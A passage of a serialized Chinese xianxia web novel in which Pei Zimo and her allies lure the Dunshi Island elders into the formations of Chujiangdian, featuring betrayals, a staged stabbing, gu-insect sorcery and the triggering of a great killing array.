“我急什么?”裴子墨轻笑了一声,“我已经跟你说过了,白锦夜是个不可控的因素,他的选择,决定着之后事情的走向。他一直没有动静,这事便是悬着,现在他已经做出选择了,那么剩下的事,不也就明了了么?” “你觉得,他会选择帮遁世岛?”凌珞开口问道。 裴子墨垂下眼摆弄着面前的茶杯,隔了很久才轻声道,“他选择什么,已经不重要了。” 说完,她抬眼看向凌珞,“你要是觉得我会因为这件事坐立难安,那就太小看我了,这么多年,我都是这么过来的,只要和遁世岛作对,就不会有一天安生的日子,将来会发生什么,无论是好的还是坏的,我都预想过无数次,所以无论是成功还是失败,对我来说,都不算是意外。” “可你不难过么?”凌珞皱起眉头,“我一点都不关心遁世岛的事,更不关心这世上其他的人。” 裴子墨轻笑了声,没说话,站起身往外面走。 “就算他只是你的一个朋友,很普通的一个朋友,大家一起为了一个目标奋斗了很多年,这个朋友突然不想再坚持了,他放弃了,我觉得你应该都会难过,更何况他并不是什么普通的朋友。”凌珞拧眉看着她的背影,“裴子墨,有些事情,你没必要一直藏在心里。” “该难过的时候就难过,该开心的时候就开心,不然活在这世上,又有什么意思?” 裴子墨的脚步顿了顿,在门口站了半响,“我早就已经难过过了,上一世让我难过的事情,比这多多了,那又怎么样?不是都已经过去了么?路还要走,事情还要做,儿女情长……或许本就不该有。”说着她转头看向凌珞,“我没有难过,我只是……如释重负。” “走上这条路,是我自己的选择,我曾经茫然过,但是我没有后悔过。可他不一样,他走上这条路,多少带着些年轻时候的热血以及……对爱情的冲动,多少有些迫于无奈。没有深思熟虑过的选择,早晚会后悔。” “若是他这一世,又开始帮着我,我反倒会有压力,现在这样,未必不是好事。” “凌珞,每个人都有自己的选择。” “就像你当初,明知道不该救下我,明知道不该管我,但你还是照做了,这些也是你的选择。” “你可能认为你还是一丝执念,但是你早就已经有了自己的选择和想法。” 凌珞站起来,往前走了几步,看着裴子墨,“那如果,当初你没有把我从他的身上剥离出来呢?如果我还是他的一部分,那我是不是会影响他做决定?” 裴子墨点了点头。 “所以,今天这样的事情发生,你一点都不意外。”凌珞眯了眯眼,“人都有趋利避害的本能,若是有感情的加持,可能明知道是危险的事,但是为了自己在意的人,那便也无所谓了,可你把他关于你的情感全都剥离出来,他再做任何决定,都不再受这情感影响。” “如果我说的这些是真的,那我就不只是一丝执念了,是么?” 裴子墨笑了笑,没有说话,转身慢慢的往前走,“我要是没记错,楚江颠这里,当年是有不少防御性法阵的,但是要开启,恐怕还需要‘神冥公’的后人,他们眼下不一定完全相信白锦夜,所以就算是要来这里,也要过段时间了,你帮我先把这些法阵开启吧。” “裴子墨……”凌珞跟了上来。 “他早晚会来的。”裴子墨打断凌珞的话,“有些事情,到底是怎么样的,也只有他自己知道。就像是三生石,看到的只是发生的事情,没有人知道他的内心究竟是怎么想的,如果你还想知道什么,就等他来了,亲自去问他吧。” * 圣殿之内,几人倒是互不打扰,二长老那边也已经下了命令,在事情没有最后决定之前,凌霄和九长老都不准再私下去见白锦夜。 只有他偶尔会去找白锦夜聊一聊,探一探虚实。 白锦夜也懒得多说,除了问问他们商量好了没有之外,就很少再跟二长老交谈。 时间过得也快,九长老派回去遁世岛的人,也带了消息回来,大长老的意思很明白,他们的目标是裴子墨,至于白锦夜翻不起什么风浪,他的条件可以答应他,但是既然要抹去他跟遁世岛的关系,那便也要抹去他的术法和记忆。 即便凌霄不同意,二长老和九长老也还是把这个结果告知了白锦夜。 白锦夜对此也没有异议,但是他要求先见到孩子的魂魄转世。 九长老就要求白锦夜先说出裴子墨的下落。 双方僵持不下,最后九长老交出孩子的魂魄,暂时由二长老保存,白锦夜便也退了一步,“她应该就在楚江颠。” “楚江颠?”二长老看向凌霄,“那不就是原来‘神冥公’一脉的居住地?你确定?” “我确定。”白锦夜点点头,“她以前去过楚江颠很多次,在那里留下过很多阵法,那些阵法的开启和关闭,都需要‘神冥公’的后人来完成。她告诉我,是因为曾经那些阵法都需要我来帮忙完成,不过现在……她身边有了别人来帮忙,那些阵法一样可以开启,所以那里现在是最安全的,她肯定会在那里。” 第441章 多用用脑子 凌珞把楚江颠的阵法都开启以后,寒羽和紫翅天鹏也不能到处玩了,于是紫翅天鹏就找了个地方去睡觉。 在鬼卿的劝说下,寒羽也不再去打扰它,让它安心的消化药力。 嘱咐了几人都呆在安全的地方不要乱走之后,裴子墨倒是经常不见人影。 “有人来了,有人来了!”寒羽本来正在石台上晒太阳,身为修罗,他本就对气息格外的敏感,所以有人接近楚江颠他自然也感觉到了。 这些日子,楚江颠的气氛就比较压抑,寒羽也知道,他们躲在这里,是为了躲裴子墨很厉害的仇人,自从阵法开启之后,他们就猜测对方应该是快找来了,所以一感觉到有人的气息接近之后,寒羽便赶紧跑到住处通知。 “我去看看。”鬼卿站起身。 “别。”凌珞阻止他,“这些阵法能掩盖我们的气息,而且楚江颠周围的悬崖也能隐藏我们的气息,我们没必要出去,他们若能进来,就让他们进来。” “有白锦夜和六长老在,他们想过来也不难。”袁澈开口道。 “那可不一定。”凌珞摇了摇头,“现下他们应该是没办法打开通路的。”说完他的目光转了一圈,“你们有谁见到子墨了?还有楚星玄呢?” 众人面面相觑,谁也没说话。 凌珞的眉头拧得更紧,他站起身走到窗边,往外面看了看,然后抬手关上了窗子。 二长老一行确实已经到了楚江颠外面,除了白锦夜,他们还带上了楚云颂,既然楚云颂想要去遁世岛,九长老决定给他一个出力的机会。 他们出发之前,也发现了袁澈不见了,这件事九长老又揶揄了一番凌霄,就连一向在两个人之间互不相帮的二长老对此也颇有微词,因为整个行程上,凌霄几乎都是被排除在决策之外,只是二长老和九长老做好了决定再通知他一声。 不过到了楚江颠,这是曾经凌霄的地盘,有些事情,就不得不需要他了。 “六哥,能不能过去就看你了。”九长老看向凌霄,“那个什么凌澈,如果跑了是为了给裴子墨通风报信,那估计也是来了这里,他都有办法过去,你不会没有吧?” 凌霄轻皱了下眉头,转头看了眼白锦夜,如果他不过去打开进去的通路,估计白锦夜也是会去的。 只是还不等他说话,白锦夜倒是先开了口,“我答应你们的事情,已经做了一半,你们是不是也该让我看看你们的诚意了?” 九长老轻笑了一声,“孩子的魂魄就在这里,就算我想给你看诚意,我要怎么给你看?你能找来一个即将临盆的孕妇么?” “把孩子的魂魄给我,转生的事,就不用你们操心了。”白锦夜轻轻皱起眉头。 九长老眯眼看着前方,“人是不是在这都不知道,万一我们过去了,人根本就不在,那我们不是被人骗了?等见到人再说吧。” 白锦夜看着九长老的背影,没有再说话。 这一次换二长老开了口,“老六,到你家门口了,快看看怎么过去吧。” “哼。”凌霄轻哼了一声,“那孩子再怎么说,也算是我孙子,可这么多年了,有谁跟我提过一嘴么?你们这一路上都防备我怀疑我,手里又捏着我孙子的魂魄,真以为我们凌家都那么好欺负么?” 队伍的气氛一下子就僵了起来,二长老和九长老对视了一眼,下了马,朝凌霄走过来,“老六,你怎么能这么说话?我们什么时候说怀疑你了?咱们出来就是为了解决裴子墨这事,眼见着就在眼前了,赶紧解决完,剩下的不都是咱们一家人的事么?关起门来怎么办都好说。” “一家人?”凌霄笑了声,瞥了白锦夜一眼,“你们都答应他,这件事办完,就让他和遁世岛彻底没了瓜葛,那还算什么一家人?” 二长老知道,因为这件事,凌霄心里有怨气,但已经到了楚江颠外面,事情总不能卡在这,“你就真不管了?” 凌霄闭上眼睛没说话。 二长老这才转头看向白锦夜,他沉思了一会,半响才从怀里拿出一个小瓷瓶,“孩子的魂魄就在这,我给你也可以,但是这进楚江颠的路,你跟你爹好好商量下。” 白锦夜伸出手,意味很明显。 二长老犹豫了片刻,便把瓷瓶递过去。 “二哥。”九长老开口阻止,“你现在就把魂魄给他?” “这到底也是凌家人,你非要闹得兄弟阋墙么?”二长老拧了下眉,最终还是把瓷瓶放在白锦夜的掌心上。 白锦夜接了过来,把瓷瓶在手中捏了捏,沉思了会,才看向凌霄,“你帮我检查下。” “放心,我没必要在这种事上做手脚。”九长老瞥了一眼,慢悠悠地道。 凌霄拧眉瞪着白锦夜半响,像是纠结,但也还是接了过来,检查了片刻,又给白锦夜递回去,“应该没有问题,只不过……这魂魄上被人打下了印迹。” 白锦夜闻言看向九长老。 “这我也没办法,印迹是大哥打的,别指望我能去掉。”九长老继续道。 凌霄微微点点头,确认了他的说法。 白锦夜这才把瓷瓶收起来,“我帮你们打开通路,能不能过去,就是你们的事情了。”他说着也朝前面走去。 其余人也立刻跟了上去。 锦成落后了几步,走到楚云颂的身边,“裴子墨八成就在这里面了,你可别忘了答应我的事情,之前我在我爹面前说了你不少好话,不然你以为这次能有你露脸的机会么?” 楚云颂拧起眉,“你爹他们这么多人都是奔着裴子墨来的,我……能有什么机会?” 锦成抬手指了指脑袋,“多用用脑子,他们要是能多用脑子,也不会被裴子墨耍了这么多年了。” 楚云颂还想说什么,锦成却已经快步朝前走了。 他抿起唇,盯着前面的几个人,上次他见到裴子墨的时候,就知道碧血虫在裴子墨的身体里,这碧血虫当年是他抓来给楚星玄的,对碧血虫也是知之甚详。 若是他有一丝丝机会,那也是要靠碧血虫了。 第442章 半途而废可不是什么好习惯 白锦夜站在悬崖边,引出了黄泉路,只不过黄泉路在接到对面之后,对面却丝毫反应都没有。 凌霄也站在旁边,见状冷哼了一声。 白锦夜转头看向二长老,“看样子,里面的阵法已经开启了,现在没办法从外面进去。” 二长老和九长老是能感受到这黄泉路的气息的,他们以前来过来楚江颠,知道黄泉路引过去之后,会有石桥搭过来。 二长老只能看向凌霄,没有石桥过来,“神冥公”一脉的人倒是能过去,其他人就麻烦了,“当初这地方是你自己选的,怎么过去也是你定的,你不会没设想过眼前的这种情况,肯定是有办法过去的。” 凌霄眯起眼睛,隔了会才说,“应该有办法,不过时间过得太久了,让我想一想。” 众人的注意力都在凌霄的身上,半响后,锦成突然惊呼一声,“锦夜,你干什么去?” 白锦夜听到后面的声音,却根本没有停下脚步,反而是加快了速度向前狂奔! “拦住他!”九长老怒吼一声。 可白锦夜在黄泉路上,又有谁能拦得住? 九长老转头看向凌霄,“撤了他的黄泉路!” “撤了有什么用?”凌霄无语地摇了摇头,“这黄泉路随时都能引出来,我这边撤了,他那边还能引出来。” 九长老瞪着眼,这次连兄长的称呼也省了,“凌霄,这不会是你们故意设局吧?先是把孩子的魂魄骗过去,现在到了这,只有你们的黄泉路能用……” 二长老拉住他,冷着脸看着凌霄道,“赶紧引出黄泉路,现在追过去还来得及。”他们当然不敢上白锦夜的黄泉路,若是他们刚上去,白锦夜就撤了黄泉路,这么高的悬崖,他们掉下去就算是不死也够喝一壶的,凌霄再怎么样,也不敢在这种事上动手脚。 凌霄瞥了九长老一眼,“老九,我知道自从你和大哥家结了姻亲之后,你和大哥的关系就比别人近,大哥很多时候也都偏心你,但你也别太张狂了,遁世岛有十个长老,可不是只有两个。”他一边说着一边慢慢地往崖边走。 等他的黄泉路引出来,白锦夜已经快到了对面了。 九长老也等不及了,当即以术法护体,迈上了黄泉路,白锦夜的事情,是他派人回去通知大长老的,这孩子的魂魄也是从他的手上给出去,若是真的出了差错,大长老绝对会最先问罪于他。 二长老也紧随其后。 凌霄皱了下眉,跟了上去。 锦成咬了咬牙,直接背起楚云颂冲了上去,“我告诉你,这可是黄泉路,你要是碰到,必死无疑,你可别乱动。” 楚云颂紧紧地抓着锦成,“我……不乱动,你可千万别松手啊。” 几个人追到一半的时候,白锦夜就已经进了楚江颠。 裴子墨他们到了之后,只是把常用的区域清理了,外围的花草树木依旧繁盛,白锦夜进去就不见了人影。 等二长老等人追到的时候,甚至都感受不到白锦夜的气息了。 整个楚江颠里,似乎也完全没有活人的气息。 “这里面的阵法,看样子是可以隐藏气息,咱们进去之后,恐怕就要成无头苍蝇了。”二长老开口道,他拧着眉看了看几人,目光有些不快地在锦成的身上转了一圈,显然对他把楚云颂带进来有些不满,不过眼下也不是计较这个的时候,便开口道,“我去解决阵法,你们分开去找人。” “二哥,之前凌锦夜不是说,这里的阵法,都需要‘神冥公’一脉的人来完成么?这阵法你恐怕解决不了。”九长老说着目光落在凌霄的身上,“六哥,这次要是能抓到他们两个,这中间发生的事情,应该也不会有人追究。可要是咱们这次又失败了,那后果可就得咱们几个一起担着了。” “我去解决阵法。”凌霄冷声道,“你们负责找人就好了,别阵法都解决完了,你们还没找到人。”他说着迈了一步,犹豫了下,才看向锦成和楚云颂,“这里到处都是阵法机关,你们两个小心些,不要乱走,不然若是碰到什么,以你们的术法,估计当场就没命了。”说完没再停留,快步往左前方走去。 “你也小心。”二长老看向九长老,“别太鲁莽。” 九长老点了点头,跟二长老各选了一个方向,进了树林里面。 锦成站在原地,东张西望了半响,才看向楚云颂,“你有什么想法么?” 楚云颂干笑了一声,“你爹不是说让我们不要乱走么?” “不乱走,站在这裴子墨能自己出来么?”锦成说着指了一个方向,“我觉得那边有戏,你觉得呢?” 楚云颂咽了口口水,犹豫了很久,才从怀里摸出来一块碧血石,滴了血在碧血石上,碧血石上很快就显现出一个图案。 他拿着碧血石往几个方向走了走,试探了一会,低声道,“往这里来吧。” 锦成勾着嘴角笑了笑,“我就知道,你肯定有办法。” * 白锦夜穿过树林,没走多远,就见到靠着一棵树站着的凌珞,他手里拎着七杀斩,剑尖在地上随意地戳着落叶。 他皱起眉头,脚步也慢了下来,“你在这里……等我?” “不然呢?”凌珞抬眼看过来,“我跟其他人也不熟,等他们……也没什么话说不是么?” “裴子墨呢?”白锦夜开口问道。 “问她做什么?你都把遁世岛的人带过来了,难道还希望她老老实实地等在这里么?”凌珞嗤笑一声,抖了抖手里的剑,“白锦夜,选择了什么样的路,就该坚持下去,半途而废可不是什么好习惯。” “我没时间跟你在这啰嗦。”白锦夜说着继续往前走,“他们也进来了,这里的阵法抵挡不了多久,他们很快就会找过来。” 凌珞抬手把剑横在白锦夜的身前,拦住他的路,“若果不是你告诉他们裴子墨在这里,他们应该没有这么快找过来,怎么,现在打算又做回好人了?” 白锦夜眉头皱得更紧,“你受过一次伤之后,脑子就跟着坏掉了?” 第443章 可我选择相信她了 凌珞眯眼看着白锦夜,根本不打算让路,“你把话说清楚。” “没有那么多时间了,裴子墨在哪?”白锦夜又往前一步,“还是你打算动手?” 凌珞沉默了会才道,“我带你去见她,你路上说?” 白锦夜有些不快,但也还是点了下头。 凌珞收起剑,转身往前走,“说吧,你的记忆都恢复了,前一世能帮着遁世岛把她镇压在大阵之下,这一世又打算做些什么?” “她跟你说的?”白锦夜转头看他。 “哦?”凌珞轻笑一声,“难道是有隐情?那你说说。” 白锦夜收回目光,“没有隐情。” “所以你现在找她做什么?”凌珞继续问道,“这一次遁世岛的人又来了,她身上最后的封印还没解开,自然不是遁世岛的对手,甚至可能……都不是你现在的对手,你也没必要再耍什么阴谋诡计了吧?” 他虽然等在这拦着白锦夜,但是在见到白锦夜的第一眼,他就知道,白锦夜恢复前几世的记忆之后,术法已经远远在他之上了。 如果白锦夜真的要动手,他自然不是对手。 他尚且都拦不住白锦夜,那遁世岛其他的人更不必说了。 “凌珞,你从哪来的,你心里也清楚,你在我身上不过百年的时间,那时候你连一个完整的魂魄都不是,就算你见过一些事,你恐怕也并不完全清楚。如今你也没有必要站在保护她的立场上针对我,她不需要你保护。”白锦夜一边走一边道。 “如果不需要我的保护,她恐怕都活不过幼年。”凌珞冷声道,“这些年来,都是我在背后保护她。”他说着举起手,把手心的红线给白锦夜看,“如果不是我,不是我在她身体里种下血莲,她也活不到今天。” 白锦夜的脚步顿了下,继续往前走,“你这是在邀功了?” “你有说这些废话的时间,不如先说说你现在是什么打算。”凌珞又道。 “我什么打算跟你都没关系。”白锦夜看着前面,“这些事情你们最好不要掺和进来,就算你是从我身上分离出去的,如今你已经是一个独立的个体,跟我再没有任何的关系,还有……这楚江颠上的其他人,你最好赶快带着他们离开这里。” 凌珞嗤笑了一声没有说话。 白锦夜沉默了会,才又道,“在大殿后面一直往北走,走到路的尽头往东拐,走到头,有一处离开的通路,和进来的路一样,你可以带着其他人从那里离开,不会影响到楚江颠的阵法。” “你觉得我应该相信你?”凌珞开口问道。 “你们在这里,能帮上什么忙么?”白锦夜反问,“说不定还要拖累她,不如早点走,遁世岛的人也不会为难你们。” 凌珞有些无奈地摇了摇头,“你这话骗骗别人就算了,但是对我就没必要了吧?裴子墨的这一次转世,是我护着她长大,你觉得遁世岛的人能放过我?” 白锦夜停下脚步,看着凌珞往前走了几步,才开口道,“你既然这么不相信我,应该也不会真的带我去见裴子墨。”他说着往前看了看,仔细地想了会才道,“这遁世岛上的阵法,几乎都是当年我帮她设下的,我要是没记错,前面……应该是个困阵,是么?” 闻言凌珞也停下了脚步,转身看着白锦夜,“是,我不会带你去见她,因为我也不知道她在哪。” 白锦夜的脸上闪过一抹急色,干脆不再理会凌珞,四下看了看,找了一个方向就往前走去。 凌珞也跟了上去,“你这么急着找她,是想在遁世岛的人之前找到她,好向遁世岛的人邀功么?” “我不知道她跟你说了什么。”白锦夜开口道,“但有没有一种可能,她跟你说的不是事实?” “可我选择相信她了。”凌珞跟着白锦夜,也不用辨别路的方向,就这么跟在他旁边,慢悠悠地走着。 “她确实有这个本事,我当年也是这么选择相信她的。”白锦夜转头看了凌珞一眼,“我理解你,毕竟你是我的一部分,年纪也不算太大,被她骗了实属正常。” “是么?那不如给我讲讲,她当时是怎么骗你的。”凌珞继续问道。 白锦夜深吸了一口气,耐心所剩无几,“她跟我说,遁世岛外面才是世外桃源,要带我在外面隐居,像神仙眷侣一样一世逍遥。” 凌珞显然不信,他甚至低笑了出来,“她不像是能说出这种话的人。” “那是你没见过她怎么哄骗我的。”白锦夜沉着眸,眼底闪过一抹不明意味的神色。 凌珞摇了摇头,“但是她跟我说,是你不停地去找她,我感觉你先示好的可能性确实大一点,就像你这一世一样,不也是到处追着她跑?我可没见过她哄过你什么。” “是啊,哄到手就不珍惜了。”白锦夜停下了脚步,转身看了看凌珞,“你在她眼里可能还不如我,她起码还哄过我,对你就只剩下骗了。” “凌珞,我清楚你的心思,你喜欢她,你希望我和她之间彻底决裂,这样你就会成为这个世界上,最接近她的人,但是你觉得这可能么?” 凌珞也终于收起嘴角的笑,脸色逐渐严肃,拿着剑在手里转了几圈,“怎么不可能呢?” 白锦夜摇了摇头,没再理他,而是看向周围,提高声音喊道,“裴子墨,你出来,我知道你能看到我来了,有什么话出来说。” “她不会出来的。”凌珞看着他,“她又不傻,出来送死么?” “你什么都不知道,也什么都不懂。”白锦夜瞥了凌珞一眼,又对着周围的空气道,“裴子墨,现在其他人还没过来,你出来没有人能伤害你。” 凌珞往旁边走了几步,靠在树上,饶有趣味地看着白锦夜,“别白费力气了。” 他的话刚说完,背后就传来一声冷笑,“我说锦夜侄子,你先跑出来,我还以为你知道裴子墨在哪呢,原来也是靠喊的啊?” 随着话音落下,九长老也慢慢地从一棵树后面走出来。 第444章 她的弱点大概就是我 凌珞警惕地转身看去,随即往后退了几步,跟白锦夜和九长老都拉开了些距离,眼睛盯着这个陌生的人,话却是对着白锦夜说,“幸好我不知道她在哪,也没有带你去找,不然这不是把人引过去了?” 白锦夜眉头蹙了下,又很快想通,“是那个小瓷瓶……你还是防备我。” “我不该防备你么?”九长老冷笑一声,“这么多年你都跟着她在外面,突然就来投诚,我难道还要百分之百相信你?你若是没什么其他的想法,跑什么?” “我已经把你们带到这了,按照你们说的,下一步恐怕就要化去我的术法和记忆,那我还不跑,还要等着你们先动手么?”白锦夜警惕地看着九长老。 “呵。”九长老轻笑一声,“可你答应我们的事,还没做到呢,你不是说,会告诉我们,裴子墨的弱点是什么?这一点还没说就想跑,未免跑得有点早了吧。” 凌珞又和九长老拉开些距离,皱眉盯着白锦夜没说话。 “孩子的魂魄上,有大长老的印迹,除此之外,那个小瓷瓶上,有大长老的封印,没有大长老,谁也解不开封印,强行解开,孩子就会魂飞魄散。”九长老看着白锦夜继续说道,“这也是为了防备你,瞧,现在这防备不就派上用场了么?你爹也看出了那封印,但是却没有告诉你,你爹都不相信,你以为其他人还能信你?” “你混的未免有点惨了。”凌珞忍不住开口,“到了最后,两头都落不下好。” 白锦夜没理他,只是看向九长老,“那也就是说,这封印你也解不开,即便是把魂魄给了我,我如果想解开封印,也得跟你们回遁世岛,是么?” 九长老看了白锦夜一会,才道,“那也未必,只要你要告诉我,怎么找到裴子墨,她的弱点是什么,我也不是不可以派人回遁世岛问出解开封印的方法,只要裴子墨死了,大长老一开心,说不定就把这法子说出来了。” 白锦夜眯眼看着九长老,半响才道,“她的弱点——” 只是这话还没说出来,一柄剑就从他的后背刺出,穿过胸口,血顺着剑尖滴在地上。 白锦夜低头看了看自己身体里的剑,又看向凌珞的手里,像是没太想明白什么。 剑又很快被人抽走,几个人甚至都没见到出手的人。 白锦夜捂着胸口,晃了几步,半跪在地上,抬头看向九长老,“她的弱点大概就是我,现在……没了。” “裴子墨!”九长老对着周围的空气大吼了一声,“滚出来!” “哦?你真的想让我出来么?我再出来,这剑下一个穿过的,可能就是你的胸口了。”裴子墨没出来,声音却传了出来。 “那你就来试试。”九长老眯起眼睛,全身戒备,他什么都没看见,甚至都没有感受到一点气息,裴子墨就对白锦夜下手了,他也丝毫不怀疑,她下一次依旧能神出鬼没的到他身边。 但是这一世裴子墨的术法一直不高,她绝对不可能做到这一点,除非是在阵法的帮助之下! “我可不来,就在这楚江颠,你一辈子都找不到我。”裴子墨说完就没了动静。 九长老四下看着周围,目光蓦地在某一处停了下来,迈步就追了上去。 凌珞看着九长老的身影消失,又等了片刻,确认他不会去而复返,才往前走了一步,白锦夜也支撑不住身体倒在地上。 “哎。”凌珞忍不住叹了一口气,在白锦夜的身边蹲下,“你有什么想交代的么?” 白锦夜从怀里摸出那个小瓷瓶,瓷瓶已经被他的血浸泡,“把这个……给她。” 从刚才九长老的话里,凌珞也听明白了,这瓷瓶里装的,就是他们孩子的魂魄,他看了半响,也没接过来,只是问,“别的呢?” “我能做的,已经……做完了。”白锦夜垂下眼,“你若是能照顾她……”他说着也呛出一口血,脸色瞬间白了下去,“那就好好……” “凌珞,你再看会热闹他就死了。”裴子墨的声音跟着传过来,“反正你也是从他身上剥离出来的,他死了,你就跟着一起陪葬。” “知道了。”凌珞无语地嘟囔了一句,“这不是看他死前有没有什么真心话要说么?”说着他从怀里拿出一把匕首,趁着白锦夜已经没力气反抗了,在他的伤口里没轻没重地挑来挑去半响,疼得白锦夜几欲昏厥的时候,他才从他的伤口里挑出一条虫子的尸体,用匕首把虫子扎在地上,又洒了些药粉上去,那虫子的尸体就化成了一滩黑水。 随后他才慢悠悠地从怀里拿出一个小盒子,有些嫌弃的把盒子里的虫子倒在白锦夜的伤口上,“感谢楚星玄吧,还来得及给你搞出一条血菩提。” 说完他扶着白锦夜站起来,“走吧。” 白锦夜转头看他,费力地问道,“怎么回事?” “七杀斩可以合在一起,也可以分开,分开就是两柄剑。”凌珞开口解释道,“她当时炼制这七杀斩的时候,就是为了给你一柄,可惜了,刚炼好,你就带着受伤的裴子衿走了。现在就给我了,我们两个一人用一柄,有没有点夫妻剑那个味道了?羡慕么?” “我说的……不是这个。”白锦夜拧起眉。 凌珞顿了顿,隔了好半响才道,“那虫子,叫冥蛉,是地府才有的虫子,随灵魂伴生,附在人的心头,很难被人发现。冥蛉的主人,可以通过冥蛉知道一切想要知道的事情,你和裴子墨的身体里都有,她身体里的冥蛉,也是不久之前才拔出去的。” 他说着转头看向白锦夜,“这东西,谁能放到你们身体里,你应该知道吧?” “凌霄。”白锦夜低声道,他上一次见到凌霄的时候,凌霄就能通过黄泉路把地府的东西带出来,“他为什么要这么做?我们做的这些事,不是他支持的么?” 凌珞嗤笑一声,“那就等你见到裴子墨的时候,自己问他吧。” 第445章 大老远的来凑什么热闹 楚云颂带着锦成追到一处山洞,他转头看了锦成一眼,示意他人就在山洞里。 锦成在草丛里蹲下,低声道,“我现在这术法微乎其微,就靠你了,裴子墨如今术法也不高,不是你的对手。” 楚云颂自然知道裴子墨的术法程度,况且碧血虫又在她的身体里,不能不说胜算都在他这里。 他点点头,知道这里有阵法,便小心翼翼地接近山洞。 眼看着只剩下丈余就到了山洞前,就见一个人懒散地从山洞里走出来,走到洞口还伸了个懒腰。 楚星玄抱着肩膀笑着看向楚云颂,“爹,你大老远的也来凑热闹啊?一把年纪了,哪凉快哪呆着不行么?” 楚云颂怔了下,之前裴子墨说楚星玄在血域果然是在撒谎,分明就是跟着她,眼见着裴子墨是不可能在这了,他能把楚星玄弄回去,就算去不了遁世岛,他这一趟也不白跑了,“我要是你,就赶紧找个地方躲起来,这辈子都别出来。” 楚星玄转头看了看山洞,“我不是躲在这么,但你都找上门了,那我还能怎么办?”他说着从腰间摘下笛子,在手上转了一圈,“爹,之前一直听你说血域血域的,我前段时间终于有机会去血域转了一圈,还跟他们学了点东西,他们养蛊的本事可比暗城强多了,不信你看看。” 楚云颂看到楚星玄手里的笛子的时候,第一个反应便是拔腿就跑。 他跟血域打了那么多年交道,当然知道血域的传说,血域的师祖就是靠一支笛子御万蛊,楚星玄自小就比谁都会逃命,怪不得见到自己不跑,这是已经有了制胜的把握。 只是他才转身跑了两步,身后就传来笛声,随即便有无数的蛊虫从四面八方涌过来,把他围在了中间。 他能用术法摧毁一些,可暗城以养蛊为主,术法本就一般,根本抵挡不住这么多蛊虫,他身上带的驱蛊虫的药粉也有限,终究还是看着蛊虫爬到自己的身上。 笛音这时也停了下来,楚星玄有些遗憾地叹了口气,“时间太紧,就学了这点,不过好像对付你也够用了,是吧?” 楚云颂倒在地上,手指伸到嘴里,用力地扣着什么。 楚星玄看着他,“爹,你好歹也养了一辈子蛊,难道还像其他人一样,以为这蛊虫入体,靠抠就能抠出来么?” 他说着在楚云颂的旁边蹲下来,“你放心,也不是什么大不了的蛊虫,我就是想听你说点真心话而已。”他用笛子敲了敲手心,“我就是想知道,暗城的秘密到底是什么?我是哪来的?我娘呢?” 楚云颂在蛊虫的驱使下,不得不吐出实言,“暗城一脉,时代相传,但暗城的城主却只有一个人,我……我的魂魄长存,可是身体却不行,我只能找到和我灵魂契合的身体,以秘法来把我们的魂魄融合。” “每个孩子,都是我挑选的备用身体,到了合适的时候,就以秘法传承,我选中你的时候,就把你的爹娘都杀了。” 楚星玄眯起眼睛,“你活了这么多年,术法还这么低微?” “这秘法会限制身体,在术法一途上难以长进,所以我才会转而养蛊。”楚云颂继续道。 “所以‘咱们楚家’的命蛊,就是你怕你的备用身体出问题,才准备的吧?”楚星玄又问。 楚云颂点点头。 “可你之前,大义凛然的说什么北冥国不该存在一类的话,公然和国君作对,又是为了什么?”楚星玄继续问。 “因为……少祀官和国君隐约地知道了我的秘密,起码少祀官是知道的。再说,暗城本来就是独立存在的,当年被迫屈于北冥国之下,这么多年,皇室衰微,难道我还要一直听他们摆布?”楚云颂脸上带着几丝不满,“要不是圣女和少祀官都护着皇室,北冥国国君早就不存在了。” 楚星玄轻笑了一声,站起身,“我看国君确实早就不想做国君了,圣女也不想做圣女,那暗城也没必要存在了。” 他的话音落下,远处就传来一声巨响,就连地面都跟着颤动了几下,随即一道白光直冲天际。 楚星玄和楚云颂都转头看去。 楚云颂怔了半响,又赶紧道,“星玄,裴子墨斗不过遁世岛的,那些人一个比一个术法高,如今我跟他们多少算是攀了些关系,你放了我,我会跟他们求情,他们也不会计较你跟裴子墨在一起的,到时候……到时候就说你是被裴子墨骗了。” “我也不会用你的身体,我再去找别人,好不好?以后……以后暗城都听你的,这魂魄传承的秘法我也告诉你!” “我对你这害人的秘法一点都不感兴趣。”楚星玄顿了顿才问道,“我问你,你是从哪找到的我,我的亲生爹娘是谁?” 楚云颂摇了摇头,憋红了脸,才死死地咬着牙道,“这种事,我确实不记得了。” “不记得……那就算了吧。”楚星玄转了转手里的笛子。 “等一下!”楚云颂猛地提高了声音,“应该是在东凉国,在东凉国皇城以南的一个庄子,那家也是姓楚。” 楚星玄点点头,“那我也让你死的明白点,裴子墨一定能斗得过遁世岛,刚刚你看到的,就是九星灭仙阵,专门为他们的准备的,你死前能见到这种大阵,也不枉此生了。” 楚云颂瞪大了眼睛,似乎有些不相信楚星玄的话,只不过再没有什么其他的话说出来,他的喉咙里只剩下“咕咕”的声音,片刻后,就没了气息。 楚星玄从腰间解下碧血石的玉佩,看着里面的碧血虫,轻轻地皱了下眉头,又低声道,“希望裴子墨没骗我吧。”说完他用力地捏碎碧血石,碧血虫落到地上,挣扎了片刻,也死了。 他见自己依旧安然无恙,这才松了一口气,看着楚云颂,“我和暗城,现在彻底的没有一点关系了,你下辈子,就不要作孽了。” 锦成隔着老远,便见到楚云颂连还手的机会都没有就咽了气,当下也不敢再留,蹑手蹑脚地退了出去。 楚星玄转头看向九星灭仙阵的方向,轻轻皱了下眉头,才朝着那边走过去。 第446章 不是早就不死不休了么? 九星灭仙阵的威力实在太大,吸引了这楚江颠上所有人的注意,大家全都朝着这个方向汇聚而来。 “裴子墨,你疯了么!”二长老怒吼着赶到,震惊地看着九星灭仙阵里面的九长老,“你迷途知返还有的救,你要是真杀了遁世岛的长老,那就是真的跟遁世岛不死不休了!” “不死不休?”裴子墨轻笑了一声,“不是早就不死不休了么?再说,遁世岛长老不是有九天玄女庇佑,是不会死的么?我还真的想看看,连真仙都能杀了九星灭仙阵能不能杀了遁世岛的长老。” 凌霄也随之赶到,满眼的不可置信,脑袋里甚至有一瞬的空白,质问的话都说不出来。 “你!”二长老说着就要动手。 “诶。”裴子墨开了口,“别再往前了,你前面,还有一个九星灭仙阵,你要是不想和他一个下场,就老老实实的站在那。” “不可能!”二长老吼了一声,虽然不相信裴子墨的说法,可也再没有往前一步。 “有什么不可能的?”裴子墨看着他,“哦,是凌霄告诉你,我把九星灭仙阵设置在了天风国的盛京城吧?但你们怎么就知道,这世上就只有那一个九星灭仙阵呢?地府里最不缺的,就是魂魄了,我让裴卿帮我大肆收集魂魄,只是给你们看的,真正用来设置九星灭仙阵的魂魄,都是我从炼魂谷里带出来的。” 